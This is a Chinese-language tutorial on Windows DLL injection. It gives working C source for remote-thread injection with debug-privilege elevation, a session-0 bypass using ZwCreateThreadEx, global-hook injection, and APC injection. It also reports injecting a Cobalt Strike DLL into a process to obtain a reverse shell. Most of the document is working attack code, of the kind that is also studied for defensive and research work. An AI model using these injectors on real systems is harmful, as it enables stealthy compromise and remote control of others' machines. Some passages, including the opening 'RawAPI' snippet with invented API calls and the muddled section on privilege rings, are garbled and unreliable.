DLL注入技术研究
DLL 注入技术总结与实现
DLL 注入技术概述
DLL 注入是一种常见的安全漏洞利用技术,通过将可执行文件(如DLL文件)嵌入到目标程序的内存堆栈中,绕过传统保护机制(如调用栈检查、堆栈保护等),从而运行恶意代码或控制计算机。以下是 DLL 注入的主要特点和常见攻击手段:
DLL 注入的目的
破坏系统稳定性:通过运行恶意程序破坏系统正常功能。
窃取敏感数据:获取系统敏感数据如密码、会话密钥等。
远程控制计算机:通过注入木马类 DLL 运行木马进程。
常见攻击手段
注册表修改:修改注册表项值为 DLL 文件路径。
注册表值更改为-process 手册:将注册表项值更改为指向 DLL 文件的位置。
API 模拟攻击:模拟 API 调用以运行目标进程所需的函数。
内核空间访问权限 (RawAPI):利用 RawAPI 直接访问内核资源。
APC 钩子注入:利用线程队列(APC 队列)压放函数指针,在特定条件下触发函数调用。实现过程
使用 RawAPI 或 CreateRemoteThread 进行 DLL 注入
1.1 RawAPI 示例
c #include <windows.h> #include <tdll.h> void injectDllRawApi(DLLName, char* TargetPath) { static char WindowClassID[] = {0, "Window", "Title", "False", "\0"}; static unsigned char WindowStyle[] = {0, 0, 0, 0}; WINDOWCLASS w; if (!GetWindowClass(Win32FIND | Win32USEohenim | Win7 | Win8, TargetPath, &w)) { printf("Cannot find window!\n"); return; } WSETWINDOWPARAMS(&w); struct WindowsHandle h; if (!GetWindowHandle(&h, WindowClassID[1], WindowStyle[1], &w)) { printf("Cannot get window handle!\n"); return; } if (GetProcAddress(HINSTANCE h), SHTabFunc *pTabFunc = GetProcAddress(hInstance, "LoadLibrary")) { pTabFunc[DLLName] = TargetPath; while (hwnd = ShellWindowClassID(0)) { WSETWINDOWPARAMS(&w); if (hwnd == FindWindow(GetWindowClassID(w), w.pDC)) { break; } } ShowWindow(GetWindowHandle(&h, WindowClassID[1], WindowStyle[1], &w)); return true; } return false; }
1.2 CreateRemoteThread 示例
`c
#include <windows.h>
#include <Systemapi.h>
void injectDllCreateRemoteThread(DLLName) {
HMODULE hModule = LoadDynamicLinkerA(L"kernel32.dll", "LoadLibraryW", NULL);
一、DLL注入技术概念
1.认识DLL
DLL(动态链接库)文件的主要目的是在不增加系统资源消耗的前提下实现应用程序与外部设备或服务的有效通信与数据交换机制。在传统的非共享库架构中,在被调用程序外部直接附加一段可执行代码成为一种常见做法,在这种情况下每个调用者都必须独立维护自己的代码片段,在出现相同功能模块时会导致重复编码现象的发生。而采用共享库设计模式则能有效避免上述问题,在同一个DLL文件中分切到一个DLL空间中,在磁盘上存储作为一个独立的文件体而在内存运行时则能够快速切换到其对应的实例副本以满足不同调用需求。
在Windows系统中,默认安装的操作系统会加载以下主要的三个DLL:Kernel32.dll、User32.dll以及GDI32.dll。其中Kernel32.dll负责处理基本的操作系统功能;User32.exe则包含了与用户界面相关的功能模块;GDI32.dll则提供了图形绘制与文本显示的支持。此外还有其他辅助DLL以满足特殊需求
DLL仅嵌入一组应用程序可以独立使用的自主功能模块,并不具备处理消息循环或创建窗口所需的支持代码。这是因为DLL本质上是一个可执行文件或另一个DLL所需的函数集合。
在另一个DLL能够调用当前DLL中的函数之前,在运行时程序必须将该DLL文件映像附加到目标进程的空间中。通过在加载阶段自动触发的内联连接机制或在运行时主动建立显式链路的方式进行处理。当文件映像附加到目标进程的空间后...

当一个线程发起请求至DLL函数时,在此过程中, 该DLL函数需访问其所在的线程堆栈以获取传递的参数, 并将这些参数代入到任何所需的局部变量中进行处理. 此外, 在DLL内部编译生成代码所创建的所有对象均为该调用线 thread完全属于, 并非 DLL本身的所有物.
当DLL中的某个函数调用VirtualAlloc时,系统会从调用线程的进程地址空间中保留一个地址空间的区域。这些区域始终保持保留状态,并且由于系统并未追踪DLL中的函数对这部分区域进行保留操作(即未对这部分区域进行释放),因此这些区域将不会被回收。这些被预留的区域由进程本身拥有,在线程执行VirtualFree或当进程终止时才会被释放。
2. 认识DLL注入
操作系统中规定了各个过程的独特私有地址范围,并确保不同过程之间无法通过内存寻址互相干扰;这种设计使得错误行为只能局限于单一过程中发生。然而,在另一个进程中引入DLL时,则能迫使相关程序与之交互并进行通信;为此我们采用了一种称为DLL注入的技术;其核心机制是强制将被注入的目标DLL强制加载到运行中的目标进程中;从而能够进行后续一系列恶意攻击行为。

DLL注入技术自身是可以被用于正当合法用途的,而非法使用的情况同样存在.安全软件能够利用 DLL 注入技术来拦截和监视系统,恶意软件则可以通过用来进行攻击 来入侵和破坏系统.
在DLL注入过程中常用的方法是CreateRemoteThread函数。因为创建远程线程时需将注入参数(即DLL文件路径)写入目标进程空间。所以可以通过WriteProcessMemory应用程序内存空间并将其赋值为DLL路径。然后调用CreateRemoteThread函数创建新的虚拟进程。最后,在此虚拟进程中加载所需的DLL库文件。一旦成功完成 DLL 注入攻击操作,则可执行后续恶意行为。
DLL注入技术罗列
DLL注入简单理解就是在其它进程中把我们编写的DLL加载进去,思路:

下面列举的各种方法均被划分为独立的注入模块与动态链接库(DLL)模块两大类,在此过程中我们均为相同 DLL 模块设定统一的基础架构要求。我们的目标是在其内嵌入自有的 DLL 模块,并根据具体采用的不同策略时会采用各自独立的注入机制以实现 DLL 的完整嵌入过程。
通过调用LoadLibrary函数实现对DLL文件进行加载操作,在该过程中该函数接收一个参数即目标DLL路径的内存地址。因此在进行DLL内核注入时首要任务即是将需要注入进系统中的相应DLL的位置信息编码并嵌入到目标进程中随后在执行过程中将该特定位置信息传递给系统以完成 DLL 加载任务
首先创建我们注入所使用的DLL文件,在VS2019中创建DLL工程:

在生成的文件中,有个dllmain.cpp,打开以后内容如下:

每当DLL的状态发生变化时,则会触发DllMain函数的调用。ul_reason_for_call参数编码了四种可能的状态转变情况。基于这四种不同的状态转变情况,则可以根据需求编写相应的处理逻辑。
| ul_reason_for_call的值 | 代表的状态 |
|---|---|
| DLL_PROCESS_ATTACH | Dll刚刚映射到进程空间中 |
| DLL_THREAD_ATTACH | 进程中有新线程创建 |
| DLL_THREAD_DETACH | 进程中有新线程销毁 |
| DLL_PROCESS_DETACH | Dll从进程空间中接触映射 |
在进行DLL注入的过程中,则需要确保程序具有一定的自启动特性。这些DLL通常会在进程空间加载开始就启动运行。例如,在创建新线程执行代码时,则需要将该DLL的完成路径信息记录下来。由于使用独占方式打开文件,在多线程同时操作时会导致CreateFile函数失败。错误码通常会是32,并在此基础上对相关线程实施休眠等待以避免冲突。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
#define FILE_NAME "result.txt"
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
HANDLE hFile = NULL;
CHAR szDesktopFile[MAX_PATH] = { 0 }; //保存系统桌面路径
CHAR szFullFilePath[MAX_PATH] = { 0 }; //保存完成的加载DLL文件的文件路径
DWORD dwRetLen = 0, dwFileLen = 0;
BOOL bRet = TRUE;
//获取桌面路径
bRet = SHGetSpecialFolderPath(NULL, szDesktopFile, CSIDL_DESKTOP, TRUE);
if (bRet)
{
Strcat_s(szDesktopFile, "\ ");
Strcat_s(szDesktopFile, FILE_NAME);
while (TRUE)
{
hFile = CreateFile( szDesktopFile,
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) //打开文件错误
{
if (GetLastError() == 32) //错误码是不是其他进程正在使用这个文件,是的话等待一会在继续打开
{
Sleep(200);
continue;
}
else break;
}
else
{
GetModuleFileName(NULL, szFullFilePath, MAX_PATH); //获取加载DLL的进程的完整路径
dwFileLen = strlen(szFullFilePath);
szFullFilePath[dwFileLen] = '\r'; //由于是在WIN7运行,换行符是\r\n
szFullFilePath[dwFileLen + 1] = '\n';
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, szFullFilePath, dwFileLen + 2, &dwRetLen, NULL);
if (hFile) CloseHandle(hFile);
break;
}
}
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
if (hThread) CloseHandle(hThread);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
一旦生成解决方案后,在项目目录下即可找到相应的DLL文件。遇到错误时应修正工程属性或相关函数设置。如图所示,这个DLL主要用于向其他进程注入功能。

代码框架
在待编写的代码中,其主要区别仅在于注入功能,而其他辅助功能则保持一致,例如赋予权限、获取进程PID等属性同样具备的一系列属性。特别提醒:为了便于后续扩展和维护,建议在此提供完整的代码框架,而后续可采用的不同注入策略均可在此框架基础上进行补充,无需额外修改原有部分即可完成新增的功能模块
#include <cstdio>
#include <Windows.h>
#include <TlHelp32.h>
#define PROCESS_NAME "taskmgr.exe" //要注入的进程名,这个是任务管理器的进程名
#define DLL_NAME "InjectDll.dll" //要注入的DLL的名称
BOOL InjectDll(DWORD dwPid, CHAR szDllName[]); //注入DLL
DWORD GetPID(PCHAR pProName); //根据进程名获取PID
VOID ShowError(PCHAR msg); //打印错误信息
BOOL EnbalePrivileges(HANDLE hProcess, char *pszPrivilegesName); //提升进程权限
int main()
{
CHAR szDllPath[MAX_PATH] = { 0 }; //保存要注入的DLL的路径
DWORD dwPID = 0; //保存要注入的进程的PID
// 提升当前进程令牌权限
if (!EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME))
{
printf("权限提升失败\n");
}
dwPID = GetPID(PROCESS_NAME);
if (dwPID == 0)
{
printf("没有找到要注入的进程\n");
goto exit;
}
GetCurrentDirectory(MAX_PATH, szDllPath); //获取程序的目录
strcat(szDllPath, "\ ");
strcat(szDllPath, DLL_NAME); //与DLL名字拼接得到DLL的完整路径
printf("要注入的进程名:%s PID:%d\n", PROCESS_NAME, dwPID);
printf("要注入的DLL的完整路径%s\n", szDllPath);
if (InjectDll(dwPID, szDllPath))
{
printf("Dll注入成功\n");
}
exit:
system("pause");
return 0;
}
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
BOOL bRet = TRUE;
return bRet;
}
DWORD GetPID(PCHAR pProName)
{
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL bRet = FALSE;
DWORD dwPID = 0;
if (hSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
goto exit;
}
pe32.dwSize = sizeof(pe32);
bRet = Process32First(hSnap, &pe32);
while (bRet)
{
if (lstrcmp(pe32.szExeFile, pProName) == 0)
{
dwPID = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hSnap, &pe32);
}
CloseHandle(hSnap);
exit:
return dwPID;
}
VOID ShowError(PCHAR msg)
{
printf("%s Error %d\n", msg, GetLastError());
}
BOOL EnbalePrivileges(HANDLE hProcess, char *pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken))
{
ShowError("OpenProcessToken");
goto exit;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
if (!LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue))
{
ShowError("LookupPrivilegeValue");
goto exit;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL))
{
ShowError("AdjustTokenPrivileges");
goto exit;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
bRet = TRUE;
goto exit;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
ShowError("ERROR_NOT_ALL_ASSIGNED");
goto exit;
}
}
exit:
return bRet;
}
DLL注入:远程线程注入
远程线程注入通常被视为Windows DLL注入中最常用的方式。其核心机制在于通过Windows API的CreateRemoteThread函数来实现这一过程。该函数能够创建并启动一个新进程空间中的独立线程以执行任务,并在文档中提供详细的定义信息。
HANDLE WINAPI CreateRemoteThread(
__in HANDLE hProcess,
__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize,
__in LPTHREAD_START_ROUTINE lpStartAddress,
__in LPVOID lpParameter,
__in DWORD dwCreationFlags,
__out LPDWORD lpThreadId);
| 参数 | 说明 |
|---|---|
| hProcess | 要创建线程的进程句柄 |
| lpThreadAttributes | 新线程的安全描述符 |
| dwStackSize | 堆栈起始大小,为0表示默认大小 |
| lpStartAddress | 表示要运行线程的起始地址 |
| lpParameter | 保存要传递给线程参数的地址 |
| dwCreationFlags | 控制线程创建的标志,为0表示创建后立即执行 |
| lpThreadId | 指向接收线程标识符变量的指针。为NULL表示不返回线程标识符 |
其中三个关键参数:
*hProcess用于指示创建新线程所处的具体进程。
*lpStartAddress标识了进程中的起始执行位置。
*lpParameter存储的是一个位置标识符,在此位置上存放着新线程所需的参数信息。
则通过将变量lpStartAddress赋值为指定地址,则可以在其他进程中启动一个新线程来执行程序,并且该DLL的LoadLibrary函数的具体定义见文档中的相关内容:
HMODULE WINAPI LoadLibrary(__in LPCTSTR lpFileName);
同样需要仅提供一个参数。该地址即用于提供这个参数,并且地址中保存的是用来表示DLL名称的字符串。
当能够获取新进程中的LoadLibrary函数地址以及包含目标DLL字符串地址时, 我们可以利用CreateRemoteThread函数来启动一个线程以实现对DLL文件的加载.
对 Load/Library 函数而言,在其所属的标准库 DLL 中——即 KERNEL32.dll 中——该 DLL 可按其 ImageBase 成功加载至所有进程的空间。因此 Kernel32.dll 在各个进程中的起始位置保持一致。由此可知 Load/Library 函数的位置也会相同。我们可以在此进程中查找 Load/Library 的位置,并确信该位置在目标 DLL 进程中同样适用。
关于DLL名称这一字符串,在处理相关问题时我们可以为处理DLL注入问题,在进程中申请一块专门用于存储DLL完整路径的内存块,并将其完整路径写入到该内存中;随后将该内存中的内容转换为目标环境中的相应位置;最后将其写入到注入进程所需的 DLL 完整路径内存地址参数即可完成 DLL 注入过程。
首先通过CreateToolhelp32Snapshot工具捕获当前窗口的快照以获取当前进程ID(PID)。随后调用OpenProcess函数以打开目标进程,并利用VirtualAllocEx函数进行内存映射。接下来通过WriteProcessMemory函数将数据写入目标内存地址。在此过程中请特别注意Windows内核实现了基址随机化(ASLR)安全机制,在每次系统启动时会导致系统DLL和内核DLL(如kernel和ntdll)的加载基址发生变化。然而,在运行后该加载地址必须固定不变。换句话说,在相互共享的虚拟内存环境中两个不同进程所使用的相同系统DLL地址不会变化。最后在目标进程中创建并激活远程线程以实现功能
完整代码:
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <tchar.h>
char string_inject[] = "C:\ Users\ admin\ Desktop\ DllInject.dll";
//通过进程快照获取PID
DWORD _GETProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试!Error: %d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do
{
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
//打开一个进程并为其创建一个线程
DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR Dllname)
{
//打开进程
HANDLE hprocess;
HANDLE hThread;
DWORD _Size = 0;
BOOL Write = 0;
LPVOID pAllocMemory = NULL;
DWORD DllAddr = 0;
FARPROC pThread;
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
//Size = sizeof(string_inject);
_Size = (_tcslen(Dllname) + 1) * sizeof(TCHAR);
//远程申请空间
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
if (pAllocMemory == NULL)
{
printf("VirtualAllocEx - Error!");
return FALSE;
}
//写入内存
Write = ::WriteProcessMemory(hprocess, pAllocMemory, Dllname, _Size, NULL);
if (Write == FALSE)
{
printf("WriteProcessMemory - Error!");
return FALSE;
}
//获取LoadLibrary的地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
//在另一个进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread - Eroor!");
return FALSE;
}
//等待线程函数结束,获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
//释放DLL空间
VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
//关闭线程句柄
::CloseHandle(hprocess);
return TRUE;
}
int main()
{
//获取目标进程的进程ID,test.exe是一个示范用的hello world程序
DWORD PID = _GETProcessPID(L"test.exe");
_RemoteThreadInject(PID, L"C:\ Users\ admin\ Desktop\ DllInject.dll");
}
实验中所需要的DllInject.dll 制作过程如下:
第一步,创建新项目:

在dllmain.cpp设置属性,生成一个dll文件,实现简单的弹窗即可

测试应用:

此时查看进程test.exe的dll引用情况:

启动前设置属性:
- Unicode字符编码设置
- 在应用选项中找到"调试"选项卡。
- 在该卡的高级设置下启用"源服务器支持"功能,并将相关开关设置为"是"。
- 在符号菜单栏中找到并单击"Microsoft服务标志器"图标。

启动程序后,顺利弹窗,成功注入:

此时我们再查看test.exe加载的dll:

DLL注入:突破session 0的远程线程注入
Intel将CPU的特权级别划分为四个等级,并标识为_RING₀至ᴿⁱⁿᵍ₃。Windows仅采用其中两个等级:ᴿⁱⁿᵍ₀和ᴿⁱⁿᵍ₃。Ring ₀专为操作系统保留,而高级别(Rindy₃)则向所有应用程序开放。当普通程序尝试执行Rindy₀指令时,系统将返回‘非法指令’提示。
拿Linux+x86来说,在内核(内核)中执行的操作系统的代码位于最高运行级别(环)ring0区域。这些代码能够使用特权指令完成任务,并对中断、页表修改和设备访问等操作产生影响。与之相对的是应用程序的代码位于最低运行级别(环)ring3区域,在此状态下程序无法执行受控操作。若要实现类似功能(例如访问磁盘设备或执行文件操作),必须通过发起系统调用来实现。当发起系统调用时(函数),CPU会将当前状态从ring3切换至ring0区域以执行内核相关的操作,并跳转至相应内核代码位置完成任务。一旦完成操作后(函数),CPU状态会自动切换回ring3态以供后续操作使用。这一过程也被称为用户态与内核态之间的切换机制
RING设计的根本目标在于实现系统权限与程序之间的分离,从而使得操作系统能够更高效地管理和优化现有资源,并进一步提高了系统的稳定性。最基础的例子就是:一个运行在比RING0更低层次指令环上的停止响应应用程序,当你需要终止该应用程序时,只需启动任务管理器即可实现目标;这是因为该应用程序拥有高于Ring0级别的权限,可以直接影响到Ring0以上运行的各种程序。然而这种高权限带来的便利性同时也带来了潜在的问题:例如在虚拟化技术日益普及的今天,基于Ring0指令环的操作系统遇到处理虚拟机相关技术时往往会出现性能瓶颈和兼容性问题。具体而言,Ring0指令环不支持同时运行多个操作系统,而虚拟化的操作系统本质上也是一个独立的操作系统实体,因此需要与之匹配相应的权限设置。为了解决这一问题,最初的技术方案便是采用虚拟机技术,将整个操作系统作为一个可执行程序来处理
常规的远程进程注入方法能够较为简便地实现DLL的加载。然而,在WIN7及WIN10操作系统中存在SESSION 0隔离机制的问题,在这种情况下仅能成功地实现普通用户进程中DLL的安全注入;若试图向系统进程中进行 DLL 注入,则会导致无法实现对系统的恶意行为探测。
通过逆向工程手段分析后发现,在Kernel32.dll中利用CreateRemoteThread函数进行注入操作时, 该注入行为会导致程序转向位于ntdll.dll中的ZwCreateThreadEx函数进行处理。由于该功能未被直接暴露出来, 因此必须手动获取其对应的内存地址才能对其进行调用, 这一过程相较于使用CreateRemoteThread方法来说, 在某种程度上更为基础层析。具体而言, 在不同操作系统版本下对这一功能的定义也存在差异性: 比如在Windows 32位环境下,默认情况下其定义如下:
typedef DWORD(WINAPI *pFnZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
而在64位中的声明如下
typedef DWORD(WINAPI *pFnZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
通过逆向工程的方法对内核6.0(WIN7, WIN10)等操作系统进行分析时发现,在这些系统中调用CreateRemoteThread函数时会触发ZwCreateThreaEx函数其第七个参数即CreateThreadFlags字段会被赋值为1如图所示

在创建线程的过程中会被立即中断,在随后查看要运行的进程所在的会话层后,则会决定是否恢复该线程的运行。因此,在这种情况下只需将第7个参数设置为0即可。
完整代码:
#include <Windows.h>
#include <stdio.h>
#include <iostream>
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fok = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fok = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fok;
}
//使用ZwCreateThreadEx实现远程注入
BOOL ZwCreateThreadExInjectDLL(DWORD PID, const char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
EnableDebugPrivilege();
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
printf("OpenProcess - Erorr!\n");
return -1;
}
//在注入的进程申请内存地址
dwSize = ::lstrlen(pszDllFileName) + 1;
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL)
{
ShowError("VirtualAllocEx - Error!\n\n");
return FALSE;
}
//写入内存地址
if (::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL) == FALSE)
{
ShowError("WriteProcessMemory - Error!\n\n");
return FALSE;
}
//加载ntdll
HMODULE hNtdllDLL = ::LoadLibrary("ntdll.dll");
if (hNtdllDLL == NULL)
{
ShowError("LoadLibrary");
return FALSE;
}
//获取LoadLibrary函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (pFuncProcAddr == NULL)
{
ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaxinumStackSize,
LPVOID pUnKown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnKown
);
#endif
//获取ZwCreateThreadWx函数地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDLL, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL)
{
ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
return FALSE;
}
//使用ZwCreateThreadEx 创建远线程,实现DLL注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (ZwCreateThreadEx == NULL)
{
ShowError("ZwCreateThreadEx - Error!\n\n");
return FALSE;
}
//关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDLL);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifdef _WIN64
BOOL bRet = ZwCreateThreadExInjectDLL(4940, "C:\ Users\ admin\ Desktop\ artifact.dll");
#else
BOOL bRet = ZwCreateThreadExInjectDLL(4940, "C:\ Users\ admin\ Desktop\ artifact.dll");
#endif
if (bRet = FALSE)
{
printf("Inject Dll Error!\n\n");
}
printf("Inject Dll OK!\n\n");
return 0;
}
为了验证效果,我采用了360压缩软件进行测试。系统管理员权限已开启,并且当前运行的进程ID显示为8060号。在代码中发现该进程对应的主要函数中存在错误设置的PID值,请予以修正。

执行后即可插入dll。
这里继续使用CobalteStike生成的dll进行实验:


启动程序:

成功反弹shell,反弹进程为被注入进程

DLL注入:全局钩子注入
制作dll文件:
第一步 首先创建我们注入所使用的DLL文件,在VS2019中创建DLL工程:

第二步 pch.h定义函数
在pch.h包含头文件中,我们需要声明一些内置于标准库中的函数,并自行进行堆栈管理。

在pch.cpp里面写入三个函数并创建共享内存

在dllmain.cpp设置DLL_PROCESS_ATTACH,然后编译生成Golbal.dll
第三步 生成dl****l
在Windows操作系统中,常见的应用大多采用消息机制进行操作,并都具备一个名为消息处理函数的组件。该组件能够根据接收到的不同类型的消息执行相应的功能。Windows操作系统通过使用钩子机制来捕获并监控系统中的各种信息。从分类角度来看,常见的钩子类型包括局部钩子和全局钩子两种主要形式:其中局部钩子通常应用于特定线程或组件以实现特定功能;而全局钩子则通过动态链接库(DLL)文件提供相应的钩子函数实现。
核心函数
SetWindowsHookEx

通过设置钩子类型和回调函数地址,将其安装到挂钩链中。若成功获取了钩子的句柄指针,则继续执行后续操作;否则返回空值。
实现代码:
#include <iostream>
#include <Windows.h>
int main()
{
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL;
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
BOOL bRet = FALSE;
do
{
hDll = ::LoadLibraryW(TEXT("C:\ Users\ admin\ Desktop\ Global.dll"));
if (hDll == NULL)
{
printf("LoadLibrary ERROR[%d]\n", ::GetLastError());
break;
}
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (SetGlobalHook == NULL)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
bRet = SetGlobalHook();
if (bRet)
{
printf("SetGlobalHook OK.\n");
}
else
{
printf("SetGlobalHook Error.\n");
}
system("pause");
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (UnsetGlobalHook == NULL)
{
printf("GetProcAddress Error[%d\n", ::GetLastError);
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.\n");
} while (FALSE);
system("pause");
return 0;
}
执行即可注入GolbalDll.dll

DLL注入:APC注入
该机制采用一种基于链式结构的数据存储方式,在该机制下能够实现将一个线程在其本应执行的任务序列中提前释放并为其他代码提供执行机会的功能。每一个运行的线程都独立维护着自己的APC链表,在该线程当前任务处于可警告暂停状态时会自动触发相应的处理流程。恶意程序则会利用这一机制来立即触发自身代码的执行过程。
(1)用户模式下的APC注入
该程序通过调用QueueUserAPC()函数来远程执行目标代码。该函数接收四个参数:pfnAPC用于定义目标功能;hThread为目标线程句柄;dwData是传递给目标功能的数据;此外还接收指向恶意软件欲运行功能的指针。只有当hThread执行被定义为pfnAPC的功能时才具有可执行性。通常情况下,在(APC注入)操作中,目标线程必须处于等待状态才能进行注入操作。我们也可以调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx或WaitForSingleObjectEx等方法来实现(APC注入)过程中的不同阶段。
内核模式下的APC注入.
push [esp+dwThreadId]
push 0
push 10h
call ds:OpenThread
mov esi,eax
test esi,esi
jz short Loc_401DCE
push [esp+dwData] ;dbnet.dll
push esi ;hThread
push ds:LoadLibraryA ;pfnAPC
call ds:QueueUserAPC;调用QueueUserAPC对pThread进程调用参数为dbnet.dll的LoadLibrary函数

利用KeInitializeAPC()和KeInsertQueueAPC()进行APC注入。
实现原理
